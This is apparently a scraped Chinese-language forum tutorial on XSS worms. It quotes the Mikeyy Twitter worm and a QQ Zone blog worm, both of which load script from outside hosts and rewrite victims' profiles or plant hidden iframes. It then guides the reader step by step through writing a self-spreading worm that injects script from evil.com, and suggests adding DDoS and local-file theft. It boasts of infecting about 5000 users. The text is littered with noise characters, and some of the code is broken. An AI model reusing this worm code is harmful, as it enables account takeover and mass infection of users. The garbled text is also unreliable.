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A1 X- m8 @; s7 D* q. E/ t 4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); 4 u# f; l1 ~6 U3 `5 \& m+ x! C$ j
3 t: f- l1 z& _/ `% }
6. var authtoken=authreg.exec(content); 5 D6 T, J! S. m$ A4 _; r
r" v/ Y* T! ~2 Y1 P: F& S 7. var authtoken=authtoken[1]; 2 S7 e. J i1 y( B0 n) x( [8 X" F: ~. y
" m2 x2 g2 b3 m: X3 c& M# a! Z) A 8. var randomUpdate= new Array(); / R+ ~* m4 [- b2 f
) L" S4 L( T" e1 s$ q# e 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 9 c, W5 v9 p' ]3 [. I- _- z% w6 y
+ x, U$ k6 A: L- ^/ e, x- j: I 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; 6 G7 ~# K6 b- S% @9 k0 _& o# E
F. Q8 |0 a7 N- A# X- X9 }/ t9 J" | 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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7 g* h; u; V* r/ e2 e- M9 i: P 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 9 p( [; P. W( y, \- o
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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7 S- v+ c1 D% T% z7 L 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; t0 v8 C: |3 } E
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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c( I I" {# W1 O, K* G 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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. _, e$ S# n( R/ [% \, X0 L0 Y2 X 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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0 n* l' m2 { ? 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; * O- ?1 { k$ F
' o, i: Z" H6 m9 c 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; \5 V1 m9 R0 ^2 g0 F% |0 X
v2 ]+ g: W( t. F5 I. W 24. 0 q5 v4 `$ v7 l# d4 o* m- i. z. a
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; , `7 w* K! i3 w
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26. var updateEncode=urlencode(randomUpdate[genRand]);
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) y! F* p# n' o- L8 f 27. 7 s( V/ m x( z4 y+ Z$ @9 b: S1 v" A
! Z3 N9 o/ q7 ~ 28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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30. var _0xf81bx1c="Mikeyy";
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31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn();
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5 T6 E6 O7 {3 s; G! _( c 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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; Q8 y1 W/ W `; h 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; + t0 `6 {; Y. O. L6 u- `
8 k8 r; r: v* y 35. var XSS=urlencode(genXSS);
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36. var ajaxConn2= new XHConn();
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' Z7 b1 @2 A$ D1 y E1 G 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); 8 B0 c3 { w' k7 r
. J. Q" u5 w2 j9 h 38.
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8 I. E$ _8 m% e, Y8 ~# [; U1 E 39. } ; / ?1 d/ I0 p5 N# Z- k4 j- D
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40. setTimeout(wait(),5250); 4 ?4 |7 }7 ^; |; w+ v
复制代码QQ空间XSSfunction killErrors() {return true;}
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window.onerror=killErrors;0 o6 A& ?# F" k: U
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var shendu;shendu=4;
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//---------------global---v------------------------------------------5 ?) P$ b7 c: X( ?. F! ^3 @
( b) K: F! X1 p//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?" D4 a, ~' c6 |
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";8 `* g$ `! q- i8 _, g6 P- ]
7 o6 u% Q* G6 ]& i* r0 f! j1 A8 Wvar myblogurl=new Array();var myblogid=new Array();4 M- B" f, T7 l0 [# Z# j
/ ~$ E. A5 ^ ^7 G var gurl=document.location.href;
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var gurle=gurl.indexOf("com/");
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gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;) a: K' i: f% ]- h
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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7 c0 m: a! l8 q$ V" E+ C# p visitorID=visitorID.substring(cookieS+14);
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cookieS=visitorID.indexOf(",");
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visitorID=visitorID.substring(0,cookieS);. H8 c% ~+ Q- Z
1 c* H3 ]' a- y- L$ p7 w% f+ q get_my_blog(visitorID);4 m, E B, g1 x) H) A$ p: E
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DOshuamy();
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3 ^1 w( Y& i0 ^
//挂马: ]) p" _* J! J* e& w* P
3 \$ B) z( X6 ofunction DOshuamy(){
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var ssr=document.getElementById("veryTitle");9 [( G+ L: R x2 F9 n
- l5 h* u) L0 Q/ Kssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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; n* V& _4 Y4 y9 m5 y
. `, Z- n- z! l$ I3 E! u- J//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?/ ?. t- J/ f( F
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function get_my_blog(visitorID){ a) t1 k" {5 t1 \! \0 p B
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";7 @4 I' N3 w: O! {3 V
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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4 `! |' G E" x2 U' V) x if(xhr){ //成功就执行下面的 k5 Q+ d: A2 r% j. S `
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL* F5 h! L9 z' K4 L% W9 O# S& E
) k& a: R$ H( W xhr.send();guest=xhr.responseText;) O( h# r" U6 a1 J( w7 v4 |1 u' z
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get_my_blogurl(guest); //执行这个函数. B- @% }6 M- D7 }; `% {8 f$ N
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}
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% t7 z1 ~. r3 c0 M# K. a" M1 _//这里似乎是判断没有登录的 g x! b/ X- U- \! {
! Q7 b) l$ E7 e8 j% q2 \/ Efunction get_my_blogurl(guest){
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: z' D- N z% A6 C var mybloglist=guest;8 R- ^- @. d* ^+ x! t
+ C: f% w& E1 p var myurls;var blogids;var blogide;* E$ v9 k" D3 _0 W
0 \% n% @$ {# ^) m# k+ @, i$ Y, C for(i=0;i<shendu;i++){
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6 B8 H/ `* Q8 q! B myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的
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9 ]) v% M) p, r( a5 w; q! S mybloglist=mybloglist.substring(myurls+11);
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myurls=mybloglist.indexOf(')');) P4 B, o/ o8 X* b
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myblogid=mybloglist.substring(0,myurls);
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, Z+ E' f% i6 V- b' o! b G }else{break;}
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}
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get_my_testself(); //执行这个函数6 Y6 ^! W# |/ M, E% C
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}; r3 [% y, k3 c! v4 z$ R
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4 u4 _' O" g. E" { {' l2 `
% \: |* R8 \# _5 Q8 ^( E//这里往哪跳就不知道了
: j# G- {% H1 E7 q/ \& g+ u( @4 G1 g1 }, N* W- G
function get_my_testself(){. ~$ ~" x5 L2 s7 u; o
$ O% Z2 {/ i0 j& B4 b: A
for(i=0;i<myblogid.length;i++){ //获得blogid的值
' f R3 d% q" x7 q `" C W& h
+ z/ T8 |8 ^, H' Q; W! ^3 }# `" M var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();) \: U* d+ c( E
# C% z Q- v* O var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr2){ //如果成功
3 j. E# B# e) M% y' r0 a# l- {6 F$ X/ \! A" q! C! G$ m
xhr2.open("GET",url,false); //打开上面的那个url
4 [& i& [' m' P! P$ A
! y+ x5 W5 Q: h; q# V2 k( I xhr2.send();
7 I4 p, v# z3 W" F' L P: l, V
0 O9 j2 ]; w" ^ guest2=xhr2.responseText;
! T+ o7 v& P) ` B
- J+ o) [0 D( _ var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
3 [$ L) h0 w& s7 d$ m9 P( G4 v7 G& A1 }1 q; k4 J y( u
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串3 F/ m; C) K# L) _/ s
. [* R1 H% ~6 m5 z
if(mycheckmydoit!="-1"){ //返回-1则代表没找到+ z! p. R* o/ K y1 f/ D
0 m5 `- v; z! X: x8 Y3 R targetblogurlid=myblogid; ; J4 S/ j( p2 V' ~* q. o3 Q* w
. i6 F9 @0 l9 F' o' K+ i2 o! \ add_jsdel(visitorID,targetblogurlid,gurl); //执行它
/ t' y; C: T( Z
8 \! Q! M* B6 S- G break; _* _/ b h. s F9 U7 e' z5 ?* r- v
$ I& }7 {! G! Z, z0 M3 y }
* N3 U& V& `7 x- c% j) X1 \! G j( o5 L% G0 W2 `+ m Z1 }7 P3 c
if(mycheckit=="-1"){% c& C" d! ]9 l0 {2 B3 h
8 O+ q* j |5 T targetblogurlid=myblogid;% U1 j' D$ N3 ] n
5 E# O% x2 Q+ K- v8 }9 ]
add_js(visitorID,targetblogurlid,gurl); //执行它' M# o2 Q; W D# F0 b
. h6 G. `0 A0 u- H5 C- I# L6 ` break;6 ^9 D& X/ c$ A/ u! f; z. t8 o5 a, }* r
* U: }+ h5 K2 Q# o }' P: }3 |+ r5 ] S1 _( H. f
1 W/ h* Z) u- X7 p0 k
} " J7 G5 j- l: R# |" `8 f
. G r( c! Q8 E3 q
}
7 I2 C8 B$ j B8 z5 O6 K4 I
" `7 [& h) h' I}# z1 x- f% c/ ^- W! ~' x/ G6 `' |
9 z6 J) n5 J* g
/ F- k" p% L% |& `
& I7 j a' Z* B- s5 x% E9 u//--------------------------------------
) f" S* P9 Y& h- J6 T: Z* V) o2 m; T. ?
//根据浏览器创建一个XMLHttpRequest对象
: K5 V3 x+ _2 e5 l( ?# y. d+ Q0 n! H/ G" n: k. x
function createXMLHttpRequest(){
( E' x$ D* d7 T& r0 R, d5 g! U9 Q
var XMLhttpObject=null; : V+ O) w6 m, T; }* E& M
/ T6 H8 x s* l) d if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
: \3 w1 S7 n& [% C
. S( U2 o! `6 f T5 S6 M! Z. C | else & H, F9 {6 \1 [. ]
( D9 _1 T! P- g5 Y5 @2 D% u4 n& | { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
* c8 ~9 Z$ J' e1 y: D& p, k0 l6 N
$ D5 z$ I k6 t! t for(var i=0;i<MSXML.length;i++)
, I% i& H5 R; t' ^- c
! K+ z' _5 y% ~9 |' U" E8 ^ { * ~4 {5 Q! Y. [' J
/ J) [9 m4 b" y& G try
, L5 \3 |, j' y+ S
; F% X; D# I3 N$ i F9 x; {/ } {
3 b; Y0 [6 Q9 R+ x j" [" v- g! p5 U6 y3 }) a( `
XMLhttpObject=new ActiveXObject(MSXML); 0 r- h, C3 t5 Y$ I4 C2 ^- d5 E( h% }
6 Y8 Q# G! g% V" ^ break; " d. P% j' q+ X
: x& G$ n0 F* ] c1 j& o2 ?' l( ? } 8 K/ V! `& S: D3 ]& o
" c7 ?3 K0 t+ f7 |, f" Q catch (ex) { 8 ^4 U/ t' @( t- b7 [
y* Y/ r2 L4 Z' P } " e! N; V3 k+ c" I
1 u5 d! x, a8 \4 b4 X. D. D v, A
} + H! `1 U- Z$ v5 J
2 t% G" L' m: T$ B }: w3 X9 ~7 Y" c8 P* _
3 O% [6 B/ c) b3 N
return XMLhttpObject;
' X# ^, ^" R# K/ R6 i
; t1 ]) S4 j# W K) E; E}
4 }4 B$ M5 I" _3 p' _3 j& P6 ?4 a O" j- g3 j& P
% v$ D& {% q, u2 R$ r
7 q" k$ e: G+ O i//这里就是感染部分了8 Z( Z# ^5 r( [3 x
, y; o; B9 }! j' r1 S
function add_js(visitorID,targetblogurlid,gurl){9 h! ^/ Z ]% R6 ` f8 S
# a0 c2 J* W evar s2=document.createElement('script');
- |! P1 Y0 ^- ]. P7 s% g
d" i: A! k6 r1 I3 t- [+ v( Ds2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
3 V4 Y* _ S) s* e. r( G9 A f* L8 p6 N
s2.type='text/javascript';9 M7 s5 B/ c' \# l
; w/ i- K* Y% B% X9 Ydocument.getElementsByTagName('head').item(0).appendChild(s2);
' L% p5 w1 B6 l0 {: M
! }* s0 \: ?' b4 x+ B}$ `9 A/ P4 P, O5 d" G
! g% m: n( o6 Y& [. b4 V3 ~' f
" W0 i$ N; S$ e% x$ D( C# q7 @( v4 s$ ^
function add_jsdel(visitorID,targetblogurlid,gurl){
0 Y2 d. m! k5 j Z# R9 l: s- C- |8 f! u3 u
var s2=document.createElement('script');
4 X) l, m. o/ ?/ {% }1 Z& i
) k' W/ L# e# L% E1 P& k& \7 t; Hs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
G/ u& d2 s! d
4 B8 ^5 D2 i4 z! I; t* Hs2.type='text/javascript';
5 y C% P9 T# U6 ]# ]; T, P- d+ w& R( r. k* {3 r( @
document.getElementsByTagName('head').item(0).appendChild(s2);
) ~! Y/ A# v7 I% ~
' w, N; m, M# J5 m}
& m8 _' r; ?' \复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:9 N# U8 w/ l# S2 j$ N$ f
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
8 V# ]. G8 k6 A; @# z# k
( @8 h# \# p2 I4 ], G2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.): C4 K* M0 [1 D
7 a3 M6 Y7 E. T) H1 s
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
5 @5 J8 q' l; z: \& `' `: `# I0 a" T# @9 T( S0 N
~4 x/ Q0 ?6 c) _6 e' f- e
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.4 z' U' h7 J% h1 Z+ h; C
; g9 x" ^- O2 r" S首先,自然是判断不同浏览器,创建不同的对象var request = false;0 K7 v- Y. \" V/ H9 _
6 i& ~) `$ K1 m- k/ w- q; rif(window.XMLHttpRequest) {
1 @ V8 P9 A/ S) v: E! S3 A& r+ g- X6 }+ _: ?" I6 t
request = new XMLHttpRequest();
* C! `. M* ]8 ^4 J- C3 \; W" u; R
if(request.overrideMimeType) {4 d2 o- G: f4 \& t: o
2 k/ @5 |! h6 {- r6 Y+ {7 w9 _
request.overrideMimeType('text/xml');
+ u* l" o/ I1 ~ j) E% Z6 C6 B7 l3 M# N. [4 v' x$ C
}
- }' V8 L. L+ {% Y# b6 a; G/ N
# I j& U: W! c p} else if(window.ActiveXObject) {
3 h w @: X0 G& P( C( n
# k$ K2 ?# X* Rvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];; c; t0 p7 ^: ~: p! a' q% L
, s: u( u( m) [+ d. Wfor(var i=0; i<versions.length; i++) {
' t; G# l% m: p4 J! L& |0 [! l; n+ ~4 B
try {( a& k `, A0 b5 O) N/ K- g5 d
# [7 B7 r% q5 trequest = new ActiveXObject(versions);
5 \0 A& C( l" b5 K: T0 W6 i
- }- W% V9 ~/ F6 y- k1 G& C} catch(e) {}$ v$ l4 N: c U8 f
- q! D; a) _3 e( n# D}
4 s) d* T5 j: b# L% ]# g( E, j& i: l. N9 @: I2 w
}
i2 z. h% b1 k' j, O( ?& U3 V& C. T4 o5 N5 e4 R. k, z( w( B
xmlHttpReq=request;
( V$ s9 [$ F( L" ~0 p B! D复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
- Q3 y5 a: x; q8 z$ t) \( v8 B- y
" O# P h& i2 D; K' J! t var Browser_Name=navigator.appName;7 K' {: n; }, w
+ d; I Y" n! Z. `1 z2 v var Browser_Version=parseFloat(navigator.appVersion);
& [" z G9 @) F& n' R) E8 B
: c( Z5 z6 A6 `0 ?/ ] var Browser_Agent=navigator.userAgent;
f2 G) { n! [2 j# b" c
7 w/ M- _7 Q: L8 n) f5 \$ l" t; j * w, Q8 H, M2 B/ h- n5 }
9 O; j4 d+ J: X9 s% L% s" w var Actual_Version,Actual_Name;; D! n N' v! @ d( ]! I
6 b$ E9 H; q7 F7 `4 J
/ {* t# @2 R" v9 e$ T# k5 i5 f+ `5 P1 N( u5 l) Z, U2 K
var is_IE=(Browser_Name=="Microsoft Internet Explorer");
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var is_NN=(Browser_Name=="Netscape");
/ U `0 I3 X- k0 ]% n0 b0 ~5 I( M+ Y0 p, |
var is_Ch=(Browser_Name=="Chrome");& n" N" V2 n( [: Z
3 n4 r4 E, n4 h- Q; {+ P, o" i
7 J- d$ f2 i0 X3 d$ C8 B) N6 j& X I4 e. M: ]; }" x. T/ \; E! d
if(is_NN){$ W% ^! z& J, N( c$ f7 y
1 o9 l( E/ `5 ~( J- [, N6 f8 c if(Browser_Version>=5.0){
. X8 y9 h8 y; }9 [% n3 A" @
% t" ~* n" B/ T% C var Split_Sign=Browser_Agent.lastIndexOf("/");
+ D+ @+ s8 S( X; ?( C! @( }! ^4 V
var Version=Browser_Agent.indexOf(" ",Split_Sign);; O! T7 O1 [' s1 n$ p
9 A* L- o. K8 M6 e, s
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
9 d) s' R1 `) p# t+ ~9 z- C' u; w# i' d/ c" i u' i2 Q ?2 h8 m8 u
! N* j5 x7 R# m' R8 v( h% ?
3 I; L; O9 q3 r Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);- l4 _1 Y4 q7 u, S" s
5 j; M7 X9 c, }# x7 R
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
l; g. }' B: F' r; h! ?
$ a, o) J# B0 N4 p* X }! R" J3 W0 J# w6 }
6 w. A+ U2 s6 j+ F6 t. O! [ else{( s! l) E; Y1 U$ O2 _
0 @) z! G0 z( Q! N6 d! p. b& W
Actual_Version=Browser_Version;
2 J1 A1 e$ ^ N( F; T9 E M
7 J+ k7 R) L# @; b( b) Y4 _: N Actual_Name=Browser_Name;
* W7 p) E/ w, H% d2 _! X( a
0 E$ `( d. l5 p ^5 r! ?6 X- S }
( B- U! p' T+ Q7 t% n) D, Y. ~: B$ a; W' F. ?6 l* m! B; y
}% O4 n0 E/ j) p
0 N7 K, Q- N0 m! F3 R else if(is_IE){3 Q( O0 r( j/ o5 A9 O" r
1 D* M$ l. m+ l1 L, l: \ var Version_Start=Browser_Agent.indexOf("MSIE");6 I# Z; B6 b- w+ a1 F& |8 H
2 d, j; {2 q" q var Version_End=Browser_Agent.indexOf(";",Version_Start);
( ~% |7 A% H0 r$ @& ~6 `! b/ p l( A2 l! k
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)) Q2 K, b [) R7 f$ Z5 X
& m3 p4 }8 I, Y u' h& n
Actual_Name=Browser_Name;
3 b: r/ {, c# A- M
( P4 D2 Z$ p! P J% @: A3 _
; ~9 q0 I8 m5 K7 L U/ c' g- [
3 l4 @/ X$ n* l, x) i% r: w if(Browser_Agent.indexOf("Maxthon")!=-1){; ^+ H; Q& F- ~+ `% J5 @& C, q4 n
; R4 Y9 x4 P- B# g Actual_Name+="(Maxthon)";6 x7 u* U" ?9 h p) W6 h* t+ ~, b
7 J5 r* }& w9 X7 o) i
}0 G5 j' z6 X: H( w) d
0 S' ~9 c* ]5 A" s! n) S
else if(Browser_Agent.indexOf("Opera")!=-1){
. m. `% \- U" Q1 \( E
" B) Q9 e" L f Actual_Name="Opera";
& w. k# B" u5 z1 t( d' x p' T/ s3 z H. v
var tempstart=Browser_Agent.indexOf("Opera");. b- l; J4 q5 [; D# g/ u( |
% F2 N7 N4 K' I1 x7 E6 ?
var tempend=Browser_Agent.length;7 D/ Y; J, L& g+ x1 J' O
$ Z/ C: n0 M) O8 i. { Actual_Version=Browser_Agent.substring(tempstart+6,tempend)2 K1 t/ G# `1 _) s& ^
6 s" D4 C6 r V5 K( R! s }4 u6 [" Y' X8 ~0 r9 b: b9 h5 {
) B1 P; Q0 C% L5 Q* w' W
}
6 I" r1 V- r+ C$ i1 ]# S8 M
4 D: f7 ^) |2 X6 n& [$ M, c) K else if(is_Ch){
' ?. a3 [9 b3 d; ?4 C! @3 s( j( B8 o& ~
var Version_Start=Browser_Agent.indexOf("Chrome");
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var Version_End=Browser_Agent.indexOf(";",Version_Start);
9 Y* c8 R8 N' N) V
- V. n7 o( O6 C Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)- o5 k% \. x- M" x& N8 q6 E
# y% x3 e( p5 m$ f Actual_Name=Browser_Name;
3 I' N5 ], N0 C c* E$ M8 q- H3 G: i$ c# q6 w+ Y
M# y( h0 G7 A# y" Z: m p5 N
# H8 c& H# H! v1 j( j$ Q6 ?' h5 t4 }
if(Browser_Agent.indexOf("Maxthon")!=-1){
$ A& |) K: V, t6 A4 I+ A# N( Y) u( Y0 X# Q; x' ~
Actual_Name+="(Maxthon)";
4 h- [* a# {; T) V& q& K( j5 H6 Z: T$ y' X3 `( E1 X
}
& [! S. p9 a/ ^0 R# n
* g6 w- M6 T" ?3 }0 ~( i0 C( | else if(Browser_Agent.indexOf("Opera")!=-1){1 R5 x6 H, _) o' p
@# I+ g$ h* Y- L
Actual_Name="Opera";
3 M: u5 i0 O: s- a" M4 p# `7 j4 Q5 G0 a0 |
var tempstart=Browser_Agent.indexOf("Opera");
* T5 u6 Y4 p( V7 v0 s# \; c- e+ K# |. V8 ^: g
var tempend=Browser_Agent.length;
) C! K8 Z' j4 H2 }; T' |2 Z' f
( `& V3 x3 e5 M1 y: Y6 ]) X( A Actual_Version=Browser_Agent.substring(tempstart+6,tempend): ~/ f$ h3 d! I7 Q. k+ N; W
& [' w/ m- Z+ @5 U3 ~7 M" G
}
' s8 t* V# M# o4 D* l- z7 G8 C
& \* M% h% ]0 Z4 Z; |6 A( [ }
4 y1 x& e( z' t% Q" ^, J0 x7 r. l# ~% w& I$ I) E9 _/ [. [
else{1 G+ z& u; U- Q- h0 ^4 ?! d- o9 o
! g; \ ~6 M* B' K$ y
Actual_Name="Unknown Navigator"& f5 ]. u$ B' Q
( k! I- X& J( q1 [. t( W& P, h Actual_Version="Unknown Version"
+ }5 B4 I# M8 }( p5 G
& e; E1 Q9 d( B" c8 O }
9 d+ l, f( m3 B# n; l8 \$ w
; W. ^+ {2 }) @" ~# b2 R# {% }! g( ?& O: E; p! X# D
' t- [/ @( Q5 T/ f, c navigator.Actual_Name=Actual_Name;8 W( J; X; q4 H! a8 A& x
8 H7 o) z$ x+ `( T. w( |; @
navigator.Actual_Version=Actual_Version;; Y4 d* h6 i6 Z, v
+ h6 G- n( _3 e( S! O& C
7 J4 ?/ e* \* p8 w X
* U5 \* W) s) V M4 Q this.Name=Actual_Name;
3 Q7 Y1 F+ O. {5 U( m `7 u" `7 D1 B; w* ]: c
this.Version=Actual_Version;7 \4 [. U0 _ M
9 q; D- W( b! G+ i! U+ v }; X8 [/ q6 w4 z: \. O& g+ @$ ~
" @& N2 y( ~( H2 Y1 a
browserinfo();
2 {+ h4 f& ^6 G7 S
2 ?- M" l% l8 g3 m# v if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
# L* Z1 u6 P. }6 J) t6 N
, F& b6 D4 e* e7 M: k if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}3 e x: b' W1 F }! B
$ O$ r1 x! p( m# h if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}2 ^* @% c9 O0 E8 g+ Z. ?
9 A; V' l) r6 T# k; ^) K) q if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
6 q: Q& ?, h4 J. J; i复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码3 f, l% j Y) |4 `! ~. Z5 M, k( h
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
' e( g( F x- P2 H; d# `* @6 @复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.; O' I) C8 L; e+ y
4 h% A9 I1 r" exmlHttpReq.send(null);4 \$ r+ ?& V) |
6 T( ?, L% L& @+ C* }var resource = xmlHttpReq.responseText;
* o F9 y# l: \
9 }' _' K6 q- x) O L% {# F Zvar id=0;var result;
. p3 E2 o6 w6 {" S% _6 u7 H
9 V1 Y! _# _3 dvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.7 q5 @( ?& X2 K8 C7 }. [4 Z% k
9 B7 t @( J( @1 L2 r4 c
while ((result = patt.exec(resource)) != null) {
+ s. @" `$ }6 D% z3 F& X; v( h* t0 R# v6 O- S. l1 N
id++;
2 B- P. \: _; s* c( W
" M8 h6 B; z' x' a0 R}& t5 z) H( g a) f
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
% Q9 y' g3 r( z: v8 d6 g) L4 {/ _' i7 }( O; `. y9 ]
no=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.8 V) X; D) t: V: ~* w
. e- U. j P, z, Evar post="wd="+wd;9 I, E9 b( Y! w6 D
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); 6 v- }. A2 l, g: d i7 R
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");: z4 J; N g. B D3 A' m
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xmlHttpReq.send(post);
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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! n! _# n" l* P: ~' F$ e$ Svar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.4 u/ q1 ~8 N2 `' U1 d8 Q
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var post="wd="+wd;
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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4 X( ]1 `" t9 [$ ]1 ?% d- }xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); ( U% Q3 m& J3 H% _* y' L
( Y1 S& Q: g; H+ TxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");% d) Q8 G+ \6 F$ D
( G- k/ t# X7 x, GxmlHttpReq.send(post); //把传播的信息 POST出去.
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}
G( i! K& O8 Q4 ]3 z3 V复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.5 U4 E; }3 P5 x- D/ E+ \* e' @" N3 U
